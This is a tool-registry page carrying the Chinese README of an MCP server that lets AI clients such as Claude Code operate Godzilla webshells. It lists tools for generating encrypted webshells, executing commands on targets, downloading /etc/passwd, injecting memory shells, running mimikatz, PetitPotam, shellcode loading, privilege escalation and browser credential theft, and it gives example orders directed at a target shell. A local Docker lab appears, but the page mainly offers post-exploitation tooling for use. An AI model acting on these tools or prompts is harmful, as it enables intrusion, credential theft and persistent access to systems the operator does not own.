claudeers.
// MCP Servers

Godzilla-MCP-Headless

哥斯拉 MCP 无头版:不启动哥斯拉 GUI,直接用 stdio/HTTP 驱动你的 Webshell(生成马 / 命令执行 / 文件管理),兼容 Claude Desktop、Claude Code、Cursor 等 MCP 客户端。基于 hkdonline/Godzilla-MCP 改版。

// MCP Servers[ cli ][ api ][ desktop ][ claude ]#claude#ai-security#claude-desktop#godzilla#mcp#webshell#mcp-servers$open-sourceupdated about 1 month ago
Actively maintained
99/100
last commit about 1 month ago
last release about 1 month ago
releases 6
open issues 0
// star history

Install with your AI

Paste into Claude Code, Cursor, or any agent — it reads the repo and wires the tool into your project.

Install and set up Godzilla-MCP-Headless (release-binary project) into my current project.
Found on https://claudeers.com/godzilla-mcp-headless
Repo: https://github.com/Ch1ngg/Godzilla-MCP-Headless
Homepage/docs: —
Detected install method: release-binary → inspect the README
Category: mcp-servers. Platforms: cli, api, desktop.
Read the repo's README for exact setup and env vars, then install it and wire it into my project.

Claudeers Health Verdict:
active; community-verified: false. Confirm the source before running anything.
// or install directly (release-binary)

Grab the latest release asset from GitHub.

# download a build from https://github.com/Ch1ngg/Godzilla-MCP-Headless/releases
// or clone
git clone https://github.com/Ch1ngg/Godzilla-MCP-Headless

// compatibility

Platformscli, api, desktop
Operating systems—
AI compatibilityclaude
License—
Pricingopen-source
LanguageJava

Get your FREE $2.50 API credits to access TickAtlas financial data ↗

Godzilla-MCP Headless · 哥斯拉 MCP 无头版

把 hkdonline/Godzilla-MCP(上游改版自 cns1rius/godzilla-mcp)改造成无需启动哥斯拉 GUI 即可运行的 MCP 服务器。

  • 🔌 两种传输:stdio(Claude Desktop / Claude Code / Cursor 直接拉起,零端口)与 HTTP/SSE(常驻服务,任意 MCP 客户端可接入)
  • 🗂 直连你的哥斯拉数据:与哥斯拉共用同一个 data.db,已保存的 Webshell 直接可用
  • 🧩 同一份 JAR 双形态:也可以放进哥斯拉 shells/plugins/java/ 当插件用(菜单照常)
  • 🛠 56 个工具:会话 / 文件 / 大文件传输 / 命令与代码 / 虚拟终端 / 内存马 / 端口扫描 / 数据库 / PHP 专属 / Windows 与 .NET / 插件库管理 / 马生成
  • ✅ 全链路实测:Java(Tomcat)、PHP 8.5 / 7.4、FastCGI-FPM 三类靶机(命令 / 代码 / 虚拟终端 / 压缩 / 端口扫描 / FPM RCE / disable_functions 绕过)

仅把自有 godzilla.jar 当类库使用,不需要、也不会启动哥斯拉主程序。


功能一览(56 个工具)

类别工具
会话管理list_shells add_shell connect_shell(免保存直连)disconnect_shell list_sessions test_connection remove_shell
生成/配置generate_shell(JSP/PHP/C#/ASP 全系马,14 种 cryption)get_env_config
系统信息get_basics_info current_user process_list network_info screenshot
命令/代码exec_command exec_code(PHP/ASP 代码执行)real_cmd(虚拟终端,PHP/Java/C#)
文件操作list_files read_file write_file upload_file download_file delete_file copy_file move_file new_file new_dir list_root file_size file_remote_down big_file_upload
数据库exec_sql list_databases enum_database_conn
高级能力port_scan(Java/PHP/C#)memory_shell_inject memory_shell_list memory_shell_unload filter_shell_add filter_shell_list filter_shell_remove zip(压缩/解压,Java/PHP/C#)
PHP 专属php_ps(免命令进程列表)php_webshell_scan(Webshell 扫描)php_bypass_open_basedir php_bypass_disable_functions(mem/env/fpm/amc 四方式)php_attack_fpm(FastCGI 直打 FPM)
Windows / .NETmimikatz(内存加载抓密码)petit_potam shellcode_load windows_privesc(bad/sweet/efs/lemon 提权四件套)sharp_web(浏览器凭据)csharp_memory_shell(C# 内存马)
哥斯拉库管理plugin_list plugin_add plugin_remove

协议:MCP 2024-11-05(JSON-RPC 2.0),端点 /mcp(HTTP 模式)或 stdio。


下载

  • 方式一(推荐):前往 Releases 下载 godzilla-mcp-<版本>.jar —— 由 GitHub Actions 在打 tag 时自动构建发布,无需本地编译。
  • 方式二:Fork 本仓库,推送到 main 后从 Actions 的 Artifacts 下载最新构建。
  • 方式三:自行构建(见「构建」)。

依赖

依赖说明
JDK 8+运行与构建(JDK 8 / 11 / 17 实测可运行)
godzilla.jar运行时需要,从你自己的哥斯拉安装目录获取(仅作类库)
构建依赖编译用 Maven Central 的 io.github.beichendream:godzilla:4.01,无需手工放置任何 jar

安装 & 使用

0. 获取

git clone https://github.com/Ch1ngg/Godzilla-MCP-Headless.git
cd Godzilla-MCP-Headless
# 从 Releases 下载 godzilla-mcp-<版本>.jar,放到仓库根目录(或任意位置并设置 MCP_JAR)

准备 godzilla.jar:放在任意目录,通过 GZ_HOME 指向(脚本自动探测 ./godzilla → ~/Godzilla → 当前目录)。

1. stdio 模式(推荐:Claude Desktop / Claude Code / Cursor)

客户端拉起进程、走标准输入输出:无需端口、无需常驻服务。

Claude Desktop(claude_desktop_config.json):

{
  "mcpServers": {
    "godzilla": {
      "command": "/绝对路径/Godzilla-MCP-Headless/scripts/run-stdio.sh",
      "env": { "GZ_HOME": "/你的哥斯拉目录(含 godzilla.jar 与 data.db)" }
    }
  }
}

Claude Code:

claude mcp add godzilla /绝对路径/Godzilla-MCP-Headless/scripts/run-stdio.sh

Windows(cmd):command 换成 C:\...\Godzilla-MCP-Headless\scripts\run-stdio.bat(写进 JSON 时反斜杠需双写 \\)。 godzilla.jar / data.db 就在 ~/Godzilla 时,连 env 都不用配。

2. HTTP 模式(常驻 / 远程接入)

./scripts/run-http.sh                  # 默认 http://127.0.0.1:5566/mcp
./scripts/run-http.sh 8899 0.0.0.0     # 自定义端口 / 绑定地址
# Windows(cmd): scripts\run-http.bat 8899 0.0.0.0

客户端(url 型):

{ "mcpServers": { "godzilla": { "url": "http://127.0.0.1:5566/mcp" } } }

⚠️ HTTP 模式无鉴权(沿袭上游设计),默认绑定 127.0.0.1;对外部署请自行加防火墙或反代鉴权。

3. 放回哥斯拉当插件(可选)

把 godzilla-mcp-<版本>.jar 放进哥斯拉 shells/plugins/java/,重启哥斯拉,顶部菜单启动即可。同一份 JAR 自动识别两种运行形态。


无图形界面(VPS)安装插件

哥斯拉把插件登记在 data.db 的 plugin 表(存的是 jar 的绝对路径文本)。无 GUI 环境三种方式任选:

方式 A:MCP 工具(服务已连通时,让 AI 直接管理)

plugin_list                       # 查看已注册插件
plugin_add     /opt/gz/plugins/MyPlugin.jar
plugin_remove  /opt/gz/plugins/MyPlugin.jar

方式 B:自带脚本(无需 JVM / 无需显示,纯 Python 标准库)

python3 scripts/plugin.py list
python3 scripts/plugin.py add    /opt/gz/plugins/MyPlugin.jar
python3 scripts/plugin.py remove /opt/gz/plugins/MyPlugin.jar
# --db 可指定 data.db 路径;默认探测 $GZ_HOME / $MCP_WORKDIR / ./ / ~/Godzilla

方式 C:sqlite3 直接写库(零依赖)

cd /opt/gz                                       # 与 data.db 同目录
sqlite3 data.db "INSERT OR IGNORE INTO plugin(pluginJarFile) VALUES ('/opt/gz/plugins/MyPlugin.jar');"
sqlite3 data.db "SELECT * FROM plugin;"
sqlite3 data.db "DELETE FROM plugin WHERE pluginJarFile='/opt/gz/plugins/MyPlugin.jar';"

注意:始终使用绝对路径(相对路径按哥斯拉进程工作目录解析);目标 jar 不存在时哥斯拉会静默跳过(日志 no found);修改后重启哥斯拉生效。 如果必须用 JVM 方式注册(Db.addPlugin),注意哥斯拉核心初始化会读取屏幕尺寸,无显示的 Linux 上先装 xvfb(xvfb-run java ...);上述 A/B/C 三条路线均无此限制(A 也是通过核心库调用,但运行在已有虚拟显示的环境里;B/C 完全不需要)。


使用示例

对话式指令(AI 自动调用对应工具):

连接 http://target/shell.jsp,密码 pass123,密钥 0123456789abcdef
在目标上执行 /bin/sh -c "id; uname -a"
把 /etc/passwd 下载到本地 /tmp/passwd
扫描 127.0.0.1 的 22,80,8080 端口
在目标注入内存马 /favicon.ico,密码 mem123,密钥 memkey123456

生成哥斯拉马:

{ "name": "generate_shell", "arguments": {
    "cryption": "JAVA_AES_BASE64", "password": "pass123", "secretKey": "0123456789abcdef",
    "outputPath": "/tmp/shell.jsp" } }

生成后上传到目标,用同组「密码/密钥」+ 对应 payload/cryption 连接(JSP:JavaDynamicPayload+JAVA_AES_BASE64;PHP:PhpDynamicPayload+PHP_XOR_BASE64)。 密钥在生成时按哥斯拉规则自动派生 md5(secretKey)[0:16]。

支持的完整矩阵(与哥斯拉核心生成器逐字节一致): JAVA_AES_BASE64/RAW(suffix: jsp/jspx)、PHP_XOR_BASE64/RAW、PHP_EVAL_XOR_BASE64、CSHAP_AES_BASE64/RAW(suffix: aspx/asmx/ashx)、CSHAP_ASMX_AES_BASE64、CSHAP_EVAL_AES_BASE64、ASP_XOR_BASE64/RAW、ASP_BASE64/RAW、ASP_EVAL_BASE64。

注意事项

  • exec_command(Java 载荷):单进程 + 参数拆分语义,复合命令需包一层 shell:/bin/sh -c "id; echo OK";PHP 载荷可直接 ; 串联。
  • exec_code(PHP / ASP 载荷):PHP 依赖目标 output_buffering > 0(主流发行版默认 4096;PHP-CLI 内置服务器需 -d output_buffering=4096)。
  • 内存马:Java 用 memory_shell_inject(支持 AES_BASE64/AES_RAW/Behinder/Cknife/ReGeorg),注入后可用同密码/密钥以 JAVA_AES_BASE64 连接;Servlet 型用 memory_shell_list/unload 管理,Filter 型用 filter_shell_* 管理;C#/.NET(IIS)用 csharp_memory_shell。
  • real_cmd(虚拟终端):需要目标支持并发请求(Apache / PHP-FPM / 多 worker php -S);单进程 php -S 会被长挂终端请求独占(上游插件机制如此)。

环境变量

变量作用默认
GZ_HOMEgodzilla.jar 所在目录自动探测 ./godzilla → ~/Godzilla → 当前目录
MCP_WORKDIRdata.db 工作目录(决定使用哪个数据库)同 GZ_HOME
MCP_JAR插件 JAR 路径自动查找 dist/、仓库根、target/、脚本同级
JAVAjava 可执行文件java
MCP_PORT / MCP_HOSTHTTP 模式端口 / 绑定地址5566 / 127.0.0.1

工作原理(为什么不用启动哥斯拉)

插件真正依赖 godzilla.jar 的只有三块能力:core.Db(读写 data.db)、core.shell.ShellEntity + core.imp.Payload(Webshell 通信协议)、HTTP 服务。无头启动器(GodzillaMcpHeadlessBootstrap)做三件事:

  1. 设置 godzilla.mcp.headless=true → 跳过 GUI 菜单注册(放回哥斯拉运行时该标志不存在,菜单照常注册);
  2. 调用 ApplicationContext.init() 扫描 payload / cryption 注册表(哥斯拉 GUI 启动时会做,无头环境需手动补齐,否则会 NPE);
  3. 启动 MCP 服务(stdio 或 HTTP)。

注意:data.db 是 SQLite 相对路径(jdbc:sqlite:data.db),工作目录决定用哪个数据库 —— 脚本会自动切换到 MCP_WORKDIR。


构建

GitHub Actions(默认,推荐)

推送到 main / PR 自动构建;打 v* tag 自动创建 Release 并附带本 jar。工作流:.github/workflows/build.yml。

本地构建(可选)

mvn -q package          # 依赖来自 Maven Central,无需手工准备 lib/
# 产物: target/godzilla-mcp-<version>.jar

无 Maven 环境(可选,需本机有 godzilla.jar):./scripts/build.sh(GZ_HOME 或 lib/godzilla.jar)。


自测(可选)

python3 test/smoke_test.py "http://127.0.0.1:18080/gz/shell.jsp" "pass123" "0123456789abcdef"

快速搭本地靶场(Docker + Tomcat):

mkdir -p lab
# 用 generate_shell 生成 lab/shell.jsp(密码 pass123 / 密钥 0123456789abcdef)
docker run -d --name gz-lab -p 127.0.0.1:18080:8080 \
  -v "$PWD/lab:/usr/local/tomcat/webapps/gz" tomcat:9.0-jdk8-temurin
python3 test/smoke_test.py "http://127.0.0.1:18080/gz/shell.jsp" "pass123" "0123456789abcdef"

变更记录(摘要)

  • v1.4.0:工具集 50 → 56,Windows/.NET 补全(mimikatz / petit_potam / shellcode_load / windows_privesc / sharp_web / csharp_memory_shell);zip / port_scan / real_cmd 增加 C# 载荷分支;新增 Windows 启动脚本(run-http.bat / run-stdio.bat)。
  • v1.3.0:工具集 44 → 50,real_cmd 虚拟终端(PHP/Java/C#)与 5 个 PHP 专属工具(php_ps / php_webshell_scan / php_bypass_open_basedir / php_bypass_disable_functions / php_attack_fpm);会话凭据原位重建与错误可读性修复。
  • v1.2.2:修复 HTTP 模式未初始化核心注册表(连接类工具不可用);启动日志如实显示绑定地址;macOS 默认隐藏 Dock 图标。
  • v1.2.1:generate_shell 全系生成(14 种 cryption,与核心生成器逐字节一致);get_env_config 实时读取注册表。
  • v1.2.0:工具集 10 → 44(会话/文件/大文件/内存马/端口扫描/插件库管理等);改用 Maven Central 编译依赖;CI 自动构建与发布;新增 scripts/plugin.py(VPS 插件管理)。
  • v1.1.0:无头启动器 + stdio 传输;generate_shell;修复 ApplicationContext 未初始化 NPE、util.Log 污染 stdio、密钥派生、read_file 接口。

完整记录见 CHANGELOG.md。

常见问题

Q:一定要安装哥斯拉吗? 不需要。只需要它的 godzilla.jar 与你的 data.db 两个文件。

Q:stdio 模式的进程"退出"了? stdio 服务器跟随客户端生命周期,属正常设计;需要常驻请用 HTTP 模式。

Q:Linux 无显示环境跑不起来? 装 xvfb(apt install xvfb)即可,脚本在无 DISPLAY 时自动改用 xvfb-run(原因:哥斯拉核心初始化会读取屏幕尺寸)。

Q:macOS 下跑 stdio/HTTP 会闪出 java 的 Dock 图标? 哥斯拉核心初始化会读取屏幕尺寸并触发 AWT 注册(不是启动 GUI);v1.2.2 起启动脚本在 macOS 默认附加 -Dapple.awt.UIElement=true,Dock 图标不再出现且功能不受影响;自定义 JVM 参数可用 JAVA_OPTS 环境变量。

Q:会和哥斯拉 GUI 冲突吗? 可共用同一个 data.db(读互不影响);避免两边同时写入(如同时 add_shell)。

Q:exec_code 报 "no load"? 目标 PHP 需要 output_buffering > 0(发行版默认满足;CLI 内置服务器用 -d output_buffering=4096 启动)。

致谢

// faq

What is Godzilla-MCP-Headless?

哥斯拉 MCP 无头版:不启动哥斯拉 GUI,直接用 stdio/HTTP 驱动你的 Webshell(生成马 / 命令执行 / 文件管理),兼容 Claude Desktop、Claude Code、Cursor 等 MCP 客户端。基于 hkdonline/Godzilla-MCP 改版。. It is open-source on GitHub.

Is Godzilla-MCP-Headless free to use?

Godzilla-MCP-Headless is open-source, so it is free to use.

What category does Godzilla-MCP-Headless belong to?

Godzilla-MCP-Headless is listed under mcp-servers in the Claudeers registry of Claude-compatible tools.

44 views
★ 22 stars
unclaimed
updated about 1 month ago

// embed badge

Godzilla-MCP-Headless on Claudeers
[![Claudeers](https://claudeers.com/api/badge/godzilla-mcp-headless.svg)](https://claudeers.com/godzilla-mcp-headless)

// retro hit counter

Godzilla-MCP-Headless hit counter
[![Hits](https://claudeers.com/api/counter/godzilla-mcp-headless.svg)](https://claudeers.com/godzilla-mcp-headless)

// reviews

// guestbook

0/500

// related in MCP Servers

🔓

f.k.a. Awesome ChatGPT Prompts. Share, discover, and collect prompts from the community. Free and open source — self-host for your organization with complete…

// mcp-serversf/⟨HTML⟩★ 177,810◷ NOASSERTION[ claude ]
🔓

A cross-platform desktop All-in-One assistant for Claude Code, Codex, OpenCode, OpenClaw, Gemini CLI & Hermes Agent. Only official website: ccswitch.io

// mcp-serversfarion1231/⟨Rust⟩★ 155,814◷ MIT[ claude ]
🔓

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

// mcp-serversJuliusBrussee/⟨JavaScript⟩★ 117,780◷ MIT[ claude ]
🔓

An open-source AI agent that brings the power of Gemini directly into your terminal.

// mcp-serversgoogle-gemini/⟨TypeScript⟩★ 108,744◷ Apache-2.0[ claude ]
→ see how Godzilla-MCP-Headless connects across the ecosystem